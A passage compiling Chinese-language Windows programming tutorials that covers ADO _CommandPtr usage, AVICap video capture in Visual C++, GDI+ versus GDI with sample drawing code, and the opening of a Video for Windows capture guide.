pPtr->Close();
pPtr.Release();

6、使用_CommandPtr接口
  _CommandPtr接口返回一个Recordset对象,并且提供了更多的记录集控制功能,以下代码示例了使用_CommandPtr接口的方法:

  代码:使用_CommandPtr接口获取数据

_CommandPtr pCommand;
_RecordsetPtr pRs;
pCommand.CreateInstance(__uuidof(Command));
pCommand->ActiveConnection=pConn;
pCommand->CommandText="select * from student";
pCommand->CommandType=adCmdText;
pCommand->Parameters->Refresh();
pRs=pCommand->Execute(NULL,NULL,adCmdUnknown);
_variant_t varValue = pRs->GetCollect("name");
Cstring strValue=(char*)_bstr_t(varValue);

7、关于数据类型转换由于COM对象是跨平台的,它使用了一种通用的方法来处理各种类型的数据,因此Cstring 类和COM对象是不兼容的,我们需要一组API来转换COM对象和C++类型的数据。_vatiant_t和_bstr_t就是这样两种对象。它们提供了通用的方法转换COM对象和C++类型的数据。

用VC++ 5.0实现视频捕获编程

刘 涛 郭 戈 杨玉森

  在桌面视频会议、可视电话等多媒体应用中,获得数字视频是一个关键的前提。在Video for Windows(VFW) 出现之前,捕获数字视频是一项极其复杂的工作。Microsoft 的Visual C++自从4.0版就开始支持Video for Windows(简称VFW),这给视频捕获编程带来了很大的方便。关于多媒体应用开发,市面流行资料中介绍较多的是MCI(媒体控制接口),而本文着重介绍的是如何使用Visual C++提供的AVICap窗口类进行视频捕获以及其中涉及到的概念和关键问题。

  一、Video for Windows简介

  VFW是Microsoft 1992年推出的关于数字视频的一个软件包,它能使应用程序数字化并播放从传统模拟视频源得到的视频剪辑。VFW的一个关键思想是播放时不需要专用硬件,为了解决数字视频数据量大的问题,需要对数据进行压缩。它引进了一种叫AVI的文件标准,该标准未规定如何对视频进行捕获、压缩及播放,仅规定视频和音频该如何存储在硬盘上,在AVI文件中交替存储视频帧和与之相匹配的音频数据。VFW给程序员提供.VBX和AVICap窗口类的高级编程工具, 使程序员能通过发送消息或设置属性来捕获、播放和编辑视频剪辑。现在用户不必专门安装VFW了,Windows95本身包括了Video for Windows1.1,当用户在安装Windows时,安装程序会自动地安装配置视频所需的组件,如设备驱动程序、视频压缩程序等。

  VFW主要由以下六个模块组成:

  (1)AVICAP.DLL:包含了执行视频捕获的函数,它给AVI文件I/O和视频、音频设备驱动程序提供一个高级接口;

  (2)MSVIDEO.DLL:用一套特殊的DrawDib函数来处理屏幕上的视频操作;

  (3)MCIAVI.DRV:此驱动程序包括对VFW的MCI命令的解释器;

  (4)AVIFILE.DLL:支持由标准多媒体I/O(mmio)函数提供的更高的命令来访问.AVI文件;

  (5)压缩管理器(ICM):管理用于视频压缩-解压缩的编解码器(CODEC);

  (6)音频压缩管理器ACM:提供与ICM相似的服务,不同的是它适于波形音频。

  Visual C++在支持VFW方面提供有vfw32.lib、 msacm32.lib 、winmm.lib等类似的库。特别是它提供了功能强大、简单易行、类似于MCIWnd的窗口类AVICap。AVICap为应用程序提供了一个简单的、基于消息的接口,使之能访问视频和波形音频硬件,并能在将视频流捕获到硬盘上的过程中进行控制。

  二、AVICap编程简介

  AVICap支持实时的视频流捕获和单帧捕获并提供对视频源的控制。虽然MCI也提供数字视频服务,比如它为显示.AVI文件的视频提供了avivideo命令集,为视频叠加提供了overlay命令集,但这些命令主要是基于文件的操作,它不能满足实时地直接从视频缓存中取数据的要求,对于使用没有视频叠加能力的捕获卡的PC机来说,用MCI提供的命令集是无法捕获视频流的。而AVICap在捕获视频方面具有一定的优势,它能直接访问视频缓冲区,不需要生成中间文件,实时性很强,效率很高。同时,它也可将数字视频捕获到文件。

  在视频捕获之前需要创建一个捕获窗,所有的捕获操作及其设置都以它为基础。用AVICap窗口类创建的窗口(通过capCreateCaptureWindow函数创建)被称为"捕获窗",其窗口风格一般为WS_CHILD和WS_VISIBLE。在概念上,捕获窗类似于标准控制(如按钮、列表框等)。捕获窗具有下列功能:

  (1)将一视频流和音频流捕获到一个AVI文件中;

  (2)动态地同视频和音频输入器件连接或断开;

  (3)以Overlay或Preview模式对输入的视频流进行实时显示;

  (4)在捕获时可指定所用的文件名并能将捕获文件的内容拷贝到另一个文件;

  (5)设置捕获速率;

  (6)显示控制视频源、视频格式、视频压缩的对话框;

  (7)创建、保存或载入调色板;

  (8)将图像和相关的调色板拷贝到剪贴板;

  (9)将捕获的一个单帧图像保存为DIB格式的文件。

  这里需要解释一下AVICap在显示视频时提供的两种模式:

  (A)预览(Preview)模式:该模式使用CPU资源,视频帧先从捕获硬件传到系统内存,接着采用GDI函数在捕获窗中显示。在物理上,这种模式需要通过VGA卡在监视器上显示。

  (B)叠加(Overlay)模式:该模式使用硬件叠加进行视频显示,叠加视频的显示不经过VGA卡,叠加视频的硬件将VGA的输出信号与其自身的输出信号合并,形成组合信号显示在计算机的监视器上。只有部分视频捕获卡才具有视频叠加能力。

  除了利用捕获窗的九个功能外,灵活编写AVICap提供的回调函数还可满足一些特殊需求,比如将宏capCaptureSequenceNoFile同用capSetCallbackOnVideoStream登记的回调函数一起使用可使应用程序直接使用视频和音频数据,在视频会议的应用程序中可利用这一点来获得视频帧,回调函数将捕获的图像传到远端的计算机。应用程序可用捕获窗来登记回调函数(由用户编写,而由系统调用),以便在发生下列情况时它能通知应用程序作出相应的反应:

  (1)捕获窗状态改变;

  (2)出错;

  (3)视频帧和音频缓存可以使用 ;

  (4)在捕获过程中,其它应用程序处于让步(Yield)地位。

  与普通SDK编程一样,视频捕获编程也要用到涉及视频捕获的结构、宏、消息和函数。让编程人员感到轻松的是,发送AVICap窗口消息所能完成的功能都能调用相应的宏来完成。例如,SendMessage(hWndCap,WM_CAP_DRIVER_CONNECT,0,0L) 与capDriverConnect(hWndCap,0)的作用相同,都是将创建的捕获窗同视频输入器件连接起来。

  在利用AVICap编程时,应该熟悉与视频捕获相关的结构,下面对常用的四个结构作一简要介绍,对于前三个结构都有对应的函数来设置和获得结构包含的信息:

  (1)CAPSTATUS:定义了捕获窗口的当前状态,如图像的宽、高等;

  (2)CAPDRIVERCAPS:定义了捕获驱动器的能力,如有无视频叠加能力、有无控制视频源、视频格式的对话框等;

  (3)CAPTUREPARMS:包含控制视频流捕获过程的参数,如捕获帧频、指定键盘或鼠标键以终止捕获、捕获时间限制等;

  (4)VIDEOHDR:定义了视频数据块的头信息,在编写回调函数时常用到其数据成员lpData(指向数据缓存的指针)和dwBufferLength(数据缓存的大小)。

  三、AVICap编程示例

  下面以一个简单的应用程序为例说明AVICap的使用,该程序对输入的视频流进行实时的显示和捕获,演示需要一个视频捕获卡和摄像头。界面中的菜单项如图1所示。其中,菜单项Display可以以Preview 或Overlay模式显示图像;菜单项Setting可通过弹出AVICap提供的对话框Video Source、Video Format和Video Display来对捕获进行设置,图4 中的图像就是按照图2、图3的对话框所示进行设置、以Preview模式显示的结果;菜单项Capture可将视频流或单帧图像捕获到指定的文件中去。

  图1 菜单项

  图2 Video Format对话框

  图3 Video Source对话框

  图4 图2和图3设置下显示的一帧图

  由于篇幅有限,下面仅介绍与视频捕获相关的编程。

  1、定义全局变量:

  HWND ghWndCap ; //捕获窗的句柄

  CAPDRIVERCAPS gCapDriverCaps ; //视频驱动器的能力

  CAPSTATUS gCapStatus ; //捕获窗的状态

  2、处理WM_CREATE消息:

  //创建捕获窗,其中hWnd为主窗口句柄

  ghWndCap = capCreateCaptureWindow((LPSTR)"Capture Window",WS_CHILD | WS_VISIBLE, 0, 0, 300,240, (HWND) hWnd, (int) 0);

  //登记三个回调函数,它们应被提前申明

  capSetCallbackOnError(ghWndCap, (FARPROC)ErrorCallbackProc); capSetCallbackOnStatus(ghWndCap, (FARPROC)StatusCallbackProc); capSetCallbackOnFrame(ghWndCap, (FARPROC)FrameCallbackProc);

  capDriverConnect(ghWndCap,0); // 将捕获窗同驱动器连接

  //获得驱动器的能力,相关的信息放在结构变量gCapDriverCaps中

  capDriverGetCaps(ghWndCap,&gCapDriverCaps,sizeof(CAPDRIVERCAPS)) ;

  3、处理WM_CLOSE消息:

  //取消所登记的三个回调函数

  capSetCallbackOnStatus(ghWndCap, NULL);

  capSetCallbackOnError(ghWndCap, NULL);

  capSetCallbackOnFrame(ghWndCap, NULL);

  capCaptureAbort(ghWndCap);//停止捕获

  capDriverDisconnect(ghWndCap); //将捕获窗同驱动器断开

  4、处理菜单项Preview:

  capPreviewRate(ghWndCap, 66); // 设置Preview模式的显示速率

  capPreview(ghWndCap, TRUE); //启动Preview模式

  5、处理菜单项Overlay:

  if(gCapDriverCaps.fHasOverlay) //检查驱动器是否有叠加能力

  capOverlay(ghWndCap,TRUE); //启动Overlay模式

  6、处理菜单项Exit:

  SendMessage(hWnd,WM_CLOSE,wParam,lParam);

  7、分别处理Setting下的三个菜单项,它们可分别控制视频源、视频格式及显示:

  if (gCapDriverCaps.fHasDlgVideoSource)

  capDlgVideoSource(ghWndCap); //Video source 对话框

  if (gapDriverCaps.fHasDlgVideoFormat)

  capDlgVideoFormat(ghWndCap); // Video format 对话框

  if (CapDriverCaps.fHasDlgVideoDisplay)

  capDlgVideoDisplay(ghWndCap); // Video display 对话框

  8、处理Video Stream菜单项,它捕获视频流到一个.AVI文件:

  char szCaptureFile[] = "MYCAP.AVI";

  capFileSetCaptureFile( ghWndCap, szCaptureFile); //指定捕获文件名

  capFileAlloc( ghWndCap, (1024L * 1024L * 5)); //为捕获文件分配存储空间

  capCaptureSequence(ghWndCap); //开始捕获视频序列

  9、处理Single Frame菜单项:

  capGrabFrame(ghWndCap); //捕获单帧图像

  10、定义三个回调函数:

  LRESULT CALLBACK StatusCallbackProc(HWND hWnd, int nID, LPSTR lpStatusText)

  {

  if (!ghWndCap) return FALSE;

  //获得捕获窗的状态

  capGetStatus(ghWndCap, &gCapStatus, sizeof (CAPSTATUS));

  //更新捕获窗的大小

  SetWindowPos(ghWndCap, NULL, 0, 0, gCapStatus.uiImageWidth,

  gCapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);

  if (nID == 0) { // 清除旧的状态信息

  SetWindowText(ghWndCap, (LPSTR) gachAppName);

  return (LRESULT) TRUE;

  }

  // 显示状态 ID 和状态文本

  wsprintf(gachBuffer, "Status# %d: %s", nID, lpStatusText);

  SetWindowText(ghWndCap, (LPSTR)gachBuffer);

  return (LRESULT) TRUE;

  }

  LRESULT CALLBACK ErrorCallbackProc(HWND hWnd, int nErrID,LPSTR lpErrorText)

  {

  if (!ghWndCap)

  return FALSE;

  if (nErrID == 0)

  return TRUE;// 清除旧的错误

  wsprintf(gachBuffer, "Error# %d", nErrID); //显示错误标识和文本

  MessageBox(hWnd, lpErrorText, gachBuffer,MB_OK | MB_ICONEXCLAMATION);

  return (LRESULT) TRUE;

  }

  LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)

  {

  if (!ghWndCap)

  return FALSE;

  //假设fp为一打开的.dat文件指针

  fwrite(fp,lpVHdr->lpData,lpVHdr->dwBufferLength,1);

  return (LRESULT) TRUE ;

  }

  值得注意的是:应在.cpp文件中加入#include 一句,在Link设置中加入vfw32.lib。

  上述的回调函数FrameCallbackProc是将视频数据直接从缓冲写入文件,也可利用memcpy函数将视频数据直接拷贝到另一缓存。同理,可定义VideoStreamCallbackProc。capSetCallbackOnVideoStream的使用比capSetCallbackOnFrame稍微复杂一些。在捕获过程中,当一个新的视频缓冲可得时,系统就调用它所登记的回调函数。在缺省情况下,捕获窗在捕获过程中不允许其它应用程序继续运行。为了取消这个限制,可以设置CAPTUREPARMS的成员fYield为TRUE或建立一个Yield回调函数。为了解决潜在的重入(reentry)问题,可在YieldCallbackProc中用PeekMessage过滤掉一些消息,例如鼠标消息。

  四、结束语

  Visual C++提供的AVICap窗口类为捕获数字视频流及其相关操作提供了很大的方便,灵活编写其中的回调函数可满足实时视频传输的需要,例如应用程序可直接从缓冲中取得数字视频并对其进行压缩编码后实时地传到远端的计算机。笔者所从事的电话网上的可视电话系统就是采用AVICap进行视频捕获的,这种方法同样可用于其它多媒体会议系统中,如ISDN、局域网上的会议系统等。(南京邮电学院70#信箱 刘 涛 郭 戈 杨玉森 210003 )

GDI+编程基础(一)GDI+ Vs GDI

作者:李昊

下载源代码

一、GDI
  GDI是位于应用程序与不同硬件之间的中间层,这种结构让程序员从直接处理不同硬件的工作中解放出来,把硬件间的差异交给了GDI处理。GDI通过将应用程序与不同输出设备特性相隔离,使Windows应用程序能够毫无障碍地在Windows支持的任何图形输出设备上运行。例如,我们可以在不改变程序的前提下,让能在Epson点式打印机上工作的程序也能在激光打印机上工作。它把windows系统中的图形输出转换成硬件命令然后发送给硬件设备。GDI是以文件的形式存储在系统中,系统需要输出图形时把它载入内存,如果转换成硬件命令时遇到非GDI命令,系统还可能载入硬件驱动程序,驱动程序辅助GDI把图形命令转换成硬件命令。



二、设备环境
  Windows系统是用来给应用程序提供设备独立性的工具,它是windows系统为了处理输出设备而使用的一种内部数据结构,设备环境是windos程序,驱动程序,和输出设备(如打印机,绘图仪)之间的纽带,GDI是一组C++类,它在驱动程序的协助下把数据描绘在硬件上,它位于应用程序与硬件之间,把数据从一方传到另一方。在Visual Studio .NET中Micro$oft解决了GDI中的许多问题,并让它变得易用, GDI的.net版本叫做GDI+。

三、GDI+
  GDI+是GDI的下一个版本,它进行了很好的改进,并且易用性更好。GDI的一个好处就是你不必知道任何关于数据怎样在设备上渲染的细节,GDI+更好的实现了这个优点,也就是说,GDI是一个中低层API,你还可能要知道设备,而GDI+是一个高层的API,你不必知道设备。例如你如果要设置某个控件的前景和背景色,只需设置BackColor和ForeColor属性。

四、编程模式的变化
"GDI uses a stateful model, whereas GDI+ uses a stateless"——GDI是有状态的,GDI+是无无状态的。

1、不再使用设备环境或句柄
  在使用GDI绘图时,必须要指定一个设备环境(DC),用来将某个窗口或设备与设备环境类的句柄指针关联起来,所有的绘图操作都与该句柄有关。而GDI+不再使用这个设备环境或句柄,取而代之是使用Graphics对象。与设备环境相类似,Graphics对象也是将屏幕的某一个窗口与之相关联,并包含绘图操作所需要的相关属性。但是,只有这个Graphics对象与设备环境句柄还存在着联系,其余的如Pen、Brush、Image和Font等对象均不再使用设备环境。

2、Pen、Brush,Font,Image等对象是图形对象独立的
  
画笔对象能与用于提供绘制方法的图形对象分开创建于维护,Graphics绘图方法直接将Pen对象作为自己的参数,从而避免了在GDI使用SelectObject进行繁琐的切换,类似的还有Brush、Path、Image和Font等。

3、"当前位置"
  
GDI绘图操作(如画线)中总存在一个被称为"当前位置"的特殊位置。每次画线都是以此当前位置为起始点,画线操作结束之后,直线的结束点位置又成为了当前位置。设置当前位置的理由是为了提高画线操作的效率,因为在一些场合下,总是一条直线连着另一条直线,首尾相接。有了当前位置的自动更新,就可避免每次画线时都要给出两点的坐标。尽管有其必要性,但是单独绘制一条直线的场合总是比较多的,因此GDI+取消这个"当前位置"以避免当无法确定"当前位置"时所造成的绘图的差错,取而代之的是直接在DrawLine中指定直线起止点的坐标。   

4、绘制和填充
  GDI总是让形状轮廓绘制和填充使用同一个绘图函数,例如Rectangle。轮廓绘制需要一个画笔,而填充一个区域需要一个画刷。也就是说,不管我们是否需要填充所绘制的形状,我们都需要指定一个画刷,否则GDI采用默认的画刷进行填充。这种方式确实给我们带来了许多不便,现在GDI+将形状轮廓绘制和填充操作分开而采用不同的方法,例如DrawRectangle和FillRectangle分别用来绘制和填充一个矩形。   

5、区域的操作
  GDI提供了许多区域创建函数,如:CreateRectRgn、CreateEllpticRgn、CreateRoundRectRgn、CreatePolygonRgn和CreatePolyPolygonRgn等。诚然,这些函数给我们带来了许多方便。但在GDI+中,由于为了便于将区域引入矩阵变换操作,GDI+简化一般区域创建的方法,而将更复杂的区域创建交由Path接管。由于Path对象是与设备环境分离开来的,因而可以直接在Region构造函数中加以指定。

五、GDI+新特色
GDI+与GDI相比,增加了下列新的特性:

1、渐变画刷
  以往GDI实现颜色渐变区域的方法是通过使用不同颜色的线条来填充一个裁剪区域而达到的。现在GDI+拓展了GDI功能,提供线型渐变和路径渐变画刷来填充一个图形、路径和区域,甚至也可用来绘制直线、曲线等。这里的路径可以视为由各种绘图函数产生的轨迹。   

2、样条曲线
  
对于曲线而言,最具实际意义的莫过于样条曲线。样条曲线是在生产实践的基础上产生和发展起来的。模线间的设计人员在绘制模线时,先按给定的数据将型值点准确地"点"到图板上。然后,采用一种称为"样条"的工具(一根富有弹性的有机玻璃条或木条),用压铁强迫它通过这些型值点,再适当调整这些压铁,让样条的形态发生变化,直至取得合适的形状,才沿着样条画出所需的曲线。如果我们把样条看成弹性细梁,那么压铁就可看成作用在这梁上的某些点上的集中力。GDI+的Graphics:: DrawCurve函数中就有一个这样的参数用来调整集中力的大小。除了样条曲线外,GDI+还支持原来GDI中的Bezier曲线。

3、独立的路径对象
  在GDI中,路径是隶属于一个设备环境(上下文),也就是说一旦设备环境指针超过它的有效期,路径也会被删除。而GDI+是使用Graphics对象来进行绘图操作,并将路径操作从Graphics对象分离出来,提供一个GraphicsPath类供用户使用。这就是说,我们不必担心路径对象会受到Graphics对象操作的影响,从而可以使用同一个路径对象进行多次的路径绘制操作。

4、矩阵和矩阵变换
  在图形处理过程中常需要对其几何信息进行变换以便产生复杂的新图形,矩阵是这种图形几何变换最常用的方法。为了满足人们对图形变换的需求,GDI+提供了功能强大的Matrix类来实现矩阵的旋转、错切、平移、比例等变换操作,并且GDI+还支持Graphics图形和区域(Region)的矩阵变换。

5、Alpha通道合成运算
  在图像处理中,Alpha用来衡量一个像素或图像的透明度。在非压缩的32位RGB图像中,每个像素是由四个部分组成:一个Alpha通道和三个颜色分量(R、G和B)。当Alpha值为0时,该像素是完全透明的,而当Alpha值为255时,则该像素是完全不透明。   
  Alpha混色是将源像素和背景像素的颜色进行混合,最终显示的颜色取决于其RGB颜色分量和Alpha值。它们之间的关系可用下列公式来表示
  显示颜色 = 源像素颜色 X alpha / 255 + 背景颜色 X (255 - alpha) / 255
GDI+的Color类定义了ARGB颜色数据类型,从而可以通过调整Alpha值来改变线条、图像等与背景色混合后的实际效果。

6、多图片格式的支持
  GDI+提供了对各种图片的打开,存储功能。通过GDI+,我们能够直接将一幅BMP文件存储成JPG或其它格式的图片文件。
  除了上述新特性外,GDI+还将支持重新着色、色彩修正、消除走样、元数据以及Graphics容器等特性。

六、VC.net中使用GDI+的方法  
在Visual C++.NET使用GDI+一般遵循下列步骤:   

(1)、在应用程序中添加GDI+的 包含文件gdiplus.h以及附加的类库gdiplus.lib。通常gdiplus.h包含文件添加在应用程序的stdafx.h文件中,而gdiplus.lib可用两种进行添加:第一种是直接在stdafx.h文件中添加下列语句:

#pragma comment( lib, "gdiplus.lib" ) 

  另一种方法是:选择"项目->属性"菜单命令,在弹出的对话框中选中左侧的"链接器->输入"选项,在右侧的"附加依赖项"框中键入gdiplus.lib,

(2)、在应用程序项目的应用类中,添加一个成员变量,如下列代码:

ULONG_PTR m_gdiplusToken;

其中,ULONG_PTR是一个DWORD数据类型,该成员变量用来保存GDI+被初始化后在应用程序中的GDI+标识,以便能在应用程序退出后,引用该标识来调用Gdiplus:: GdiplusShutdown来关闭GDI+。

(3)、在应用类中添加ExitInstance的重载,并添加下列代码用来关闭GDI+:

int CGDIPlusApp::ExitInstance()
{
 Gdiplus::GdiplusShutdown(m_gdiplusToken);
 return CWinApp::ExitInstance();
}		
(4)、在应用类的InitInstance函数中添加GDI+的初始化代码:
BOOL CGDIPlusApp::InitInstance()
{
 CWinApp::InitInstance();
 Gdiplus::GdiplusStartupInput gdiplusStartupInput;
 Gdiplus::GdiplusStartup(&m_gdiplusToken, &gdiplusStartupInput, NULL);
 ...
}		
(5)、在需要绘图的窗口或视图类中添加GDI+的绘制代码:
void CGDIPlusView::onDraw(CDC *pDC)
{
	Graphics graphics( pDC->m_hDC );

	GraphicsPath path; // 构造一个路径
	path.AddEllipse(50, 50, 200, 100);

	// 使用路径构造一个画刷
	PathGradientBrush pthGrBrush(&path);

	// 将路径中心颜色设为蓝色
	pthGrBrush.SetCenterColor(Color(255, 0, 0, 255));

	// 设置路径周围的颜色为蓝芭,但alpha值为0
	Color colors[] = {Color(0, 0, 0, 255)};
	INT count = 1;
	pthGrBrush.SetSurroundColors(colors, &count);

	graphics.FillRectangle(&pthGrBrush, 50, 50, 200, 100);

	LinearGradientBrush linGrBrush(
		Point(300, 50),
		Point(500, 150),
		Color(255, 255, 0, 0), // 红色
		Color(255, 0, 0, 255)); // 蓝色

	graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100);
}		

视频捕获软件开发完全教学

内容
目 录

一. 视频捕获快速入门 2

二.基本的捕获设置 3

1.设置捕获速度: 3

2.设置终止捕获 4

3.捕获的时间限制 4

三.关于捕获窗口 4

1.创建一个AVICAP捕获窗口 5

2.将一个捕获窗口连接至捕获设备 5

3. 父窗口与子窗口的交互 5

4.捕获窗口的状态 6

四.视频捕获驱动和音频驱动 6

1.视频捕获驱动的性能: 6

2.视频对话框: 6

3.PREVIEW 和 OVERLAY模式: 7

4.视频格式 7

5.视频捕获设置 7

6.声频格式 8

五.使用视频捕获 8

1.创建捕获窗口(CREATING A CAPTURE WINDOW) 8

2.连接到捕获驱动(CONNECTING TO A CAPTURE DRIVER) 9

3.列举所有已安装的捕获驱动(ENUMERATING INSTALLED CAPTURE DRIVERS) 9

4.得到捕获驱动的性能(OBTAINING THE CAPABILITIES OF A CAPTURE DRIVER) 9

5.得到捕获窗口的状态(OBTAINING THE STATUS OF A CAPTURE WINDOW) 10

6.显示对话框设置视频特征(DISPLAYING DIALOG BOXES TO SET VIDEO CHARACTERISTICS) 10

7.得到和设置视频格式(OBTAINING AND SETTING THE VIDEO FORMAT) 11

8. 预览视频(PREVIEWING VIDEO) 12

9.将视频设置为OVERLAY模式(ENABLING VIDEO OVERLAY) 12

10.命名捕获文件(NAMING THE CAPTURE FILE) 12

11.格式化声频捕获(FORMATTING AUDIO CAPTURE) 12

12.改变视频捕获设置(CHANGING A VIDEO CAPTURE SETTING) 13

13.捕获数据(CAPTURING DATA) 13

14.增加一个信息块(ADDING AN INFORMATION CHUNK) 14

15.在程序中加入一个回调函数(ADDING CALLBACK FUNCTIONS TO AN APPLICATION) 14

16.创建一个状态回调函数(CREATING A STATUS CALLBACK FUNCTION) 16

17.创建一个错误回调函数( CREATING AN ERROR CALLBACK FUNCTION) 17

18.创建一个框架回调函数(CREATING A FRAME CALLBACK FUNCTION) 18

六.将四个标准对话框改成函数调用形式 18

AUDIOFORMAT对话框 19

VIDEOFORMAT对话框 19

VIDEOSOURCE对话框 20

VIDEO COMPRESSION对话框 20


 

前 言

视频捕获是指由专用的视频采集卡捕获声频和视频信息,然后将其进行数据化处理,再经过软件的压缩进行处理,这时就可对这些数据进行保存、回放、传输等各种操作。

Windows专门提供了Video for Windows来对视频处理进行支持,提供的接口可以被大多数的视频采集卡支持,并有多种视频压缩驱动供选择(当然视频压缩可以自己开发),采集卡支持摄像头,TV等多种输入。


一. 视频捕获快速入门

视频捕捉将一个视频流和音频流数字化, 然后存储在硬盘或其他存储介质上.

一个AVICap视窗口句柄描述了声频与视频流的细节, 这样就使你的应用程序从AVI文件格式, 声频视频缓冲管理, 低层声频视频驱动访问等等解脱出来, AVICap为应用程序提供了一个灵活的介面, 你可以仅仅使用如下几行代码就可以将视频捕捉加入你的程序:

hWndC = capCreateCaptureWindow ( "My Own Capture Window",

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0 /* wIndex */, 0L);

SendMessage (hWndC, WM_CAP_SEQUENCE, 0, 0L);

一个宏其实也是使用SendMessage, 只不过提供给程序一个更易读的代码而已, 下面的这些示例就是使用宏的方法将视频捕捉加入程序:

hWndC = capCreateCaptureWindow ( "My Own Capture Window",

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

capDriverConnect (hWndC, 0);

capCaptureSequence (hWndC);


当你创建了一个AVICap类的捕捉窗口并将它连接到一个视频驱动时, 此捕捉窗口即可以开始捕捉数据, 你的程序可以简单的发送WM_CAP_SEQUENCE消息(或者使用capCaptureSequence宏)来开始捕捉.

如果是缺省的设置, WM_CAP_SEQUENCE会开始捕捉视频音频流到CAPTURE.AVI文件中, 直到下面的某一事件发生为止:

用户按下了ESC键或者一个鼠标键

你的应用程序终止或异常中断捕捉操作

磁盘已满


在一个应用程序里, 你可以发送WM_CAP_STOP消息来终止捕捉数据(或者使用capCaptureStop宏), 你也可以发送WM_CAP_ABORT消息(或者使用capCaptureAbort宏)来终止.


二.基本的捕获设置

基 本的捕获设置包括:设置捕获速度(每秒捕获多少帧),是否同时捕获声频,捕获缓冲,允许最大丢失多少帧,是否使用DOS内存,以及用键盘的哪个键或鼠标的 哪个键来终止捕获等等。这些基本的设置都可以使用CAPTUREPARAMS结构来描述,你可以使用capCaptureGetSetup宏来得到当前的 设置,然后改变此结构的成员变量,再使用capCaptureSetSetup宏设置新的设置。

例如:

1.设置捕获速度:

捕 捉速度是指捕捉任务每秒钟捕获的帧数, 你可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的捕捉速度, 当前的捕捉速度保存在CAPTUREPARAMS结构的dwRequestMicroSecPerFrame成员变量中, 你可以通过设置此变量来改变当前设置, 单位是每毫秒连续的帧数, 你可以发送WM_CAP_SET_SEQUENCE_SETUP消息(或者使用capCaptureSetSetup宏), dwRequestMicroSecPerFrame的值是66667, 相当于每秒15帧.


2.设置终止捕获

你可以允许用户按下某键或某组合键或者鼠标的左右键来终止一个捕获任务, 如果是实时的捕获, 则捕获的文件将会被丢弃; 如果是单步捕获, 在终止之前所捕获的内容将会被保存.

你 可以通过发送WM_CAP_GETQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的设置, 当前的按键设置保存在CAPTUREPARAMS的vKeyAbort成员中, 当前的鼠标设置保存在fAbortLeftMouse和fAbortRightMouse成员中. 你可以设置新的按键或按键组合, 或者鼠标左右键, 当你修改的CAPTUREPARAMS后,应该发送WM_CAP_SET_SEQUENCE_SETUP消息来进行更新(或者使用 capCaptureSetSetup宏). 缺省的按键是VK_ESCAPE. 你必须在指定按键之前使用RegisterHotKey函数, 鼠标缺省的值是fAbortLeftMouse和fAbortRightMouse都为TRUE.


3.捕获的时间限制

CAPTUREPARAMS结构中的fLimitEnabled指示是否有时间限度, wTimeLimit指示最大的持续时间, 单位为秒.

得 到fLimitEnabled和wTimeLimit的值可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或使用 capCatureGetSetup宏), 当设置了这些成员变量后, 应该发送消息WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)来更新CAPTUREPARAMS结 构.


三.关于捕获窗口

在捕获之前必须创建一个捕获窗口(capture window),在发送消息或使用宏的过程中都需要使用此窗口。

1.创建一个AVICap捕获窗口

你可以使用capCreateCaptureWindow函数来创建一个AVICap捕获窗口, 此函数将会返回一个句柄, 此句柄以后在发送消息时要用.

你可以在一个程序里创建一个或多个捕获窗口, 然后给每一个窗口连接不同的捕获设置.


2.将一个捕获窗口连接至捕获设备

你可以动态的在一个捕获窗口与一个捕获设备之前连接或断接, 你可以发送WM_CAP_DRIVER_CONNECT消息来使一个捕获窗口与一个捕获设备连接或关联. 当连接上以后, 你就可以通过捕获窗口向捕获设备发送各种消息.

如果你的系统里装有多个捕获设备, 你可以在发送WM_CAP_DRIVER_CONNECT消息时用wParam参数指定使用哪一个, 此参数是登记在SYSTEM.INI文件的[drivers]一节里的列表中的某一项, 0为第一个.

你可以使用capGetDriverDescription函数来得到已安装的捕获设备的名称及版本, 这样你的程序就可以列举所有已安装的捕获设备和驱动, 这样用户就可以选择其中的一个来与你的捕获窗口连接.

你可以发送WM_CAP_DRIVER_GET_NAME消息(或capDriverGetName宏)来得到连接到捕获窗口的捕获设备的名称, 得到版本发送WM_CAP_DRIVER_GET_VERSION消息(或capDriverGetVersion宏)

你可以发送WM_CAP_DRIVER_DISCONNECT消息(或capDriverDisconnect宏)来断接.


3. 父窗口与子窗口的交互

一些象WM_PALETTECHANGED和WM_QUERYNEWPALETTE的系统级消息只能发送到顶级窗口或OVERLAPPED窗口, 如果一个捕获窗口是子窗口,就必须通过父窗口转送.

同样的, 如果父窗口的尺寸改变了, 它就需要通知捕获窗口, 相反地, 如果捕获窗口的尺寸改变了, 捕获窗口就需要发送消息给父窗口, 一个简单的方法就是始终保持捕获窗口的尺寸与视频流的尺寸一致, 并随时将尺寸的改变通知父窗口.


4.捕获窗口的状态

你可以发送WM_CAP_GET_STATUS消息(或capGetStatus宏)来得到当前捕获窗口的状态, 得到的是一个CAPSTATUS结构的拷贝, 它包含图片的尺寸, 卷轴的当前位置, overlay和preview是否已设置.

因为CAPSTATUS信息是动态的, 你的程序应该只要捕获的视频流的尺寸或格式可能发生了改变就应该进行刷新(例如: 显示了捕获设备的视频格式以后).

改变捕获窗口的尺寸并不影响实际的捕获的视频流的尺寸, 视频捕获设备的格式对话框捕获频流的尺寸.


四.视频捕获驱动和音频驱动

1.视频捕获驱动的性能:

你可以通过发送WM_CAP_DRIVER_GET_CAPS消息(或者capDriverGetCaps宏)来得到当前连接的视频驱动的硬件性能. 得到的信息保存在CAPDRIVERCAPS结构中.


2.视频对话框:

每一个视频驱动能够提供四个对话框来控制视频捕获和数字化处理, 定义压缩品质等, 这些对话框都定义在视频捕获驱动中.

Video Source对话框用于控制选择视频来源, 此对话框列举了此视频捕获卡连接的所有视频源(典型的例如:SVHS和合成输入), 并提供了改变色调, 对比度, 饱和度. 如果视频驱动支持此对话框, 你就可以显示并更新它, 使用WM_CAP_DLG_VIDEOSOURCE消息(或capDlgVideoSource宏).

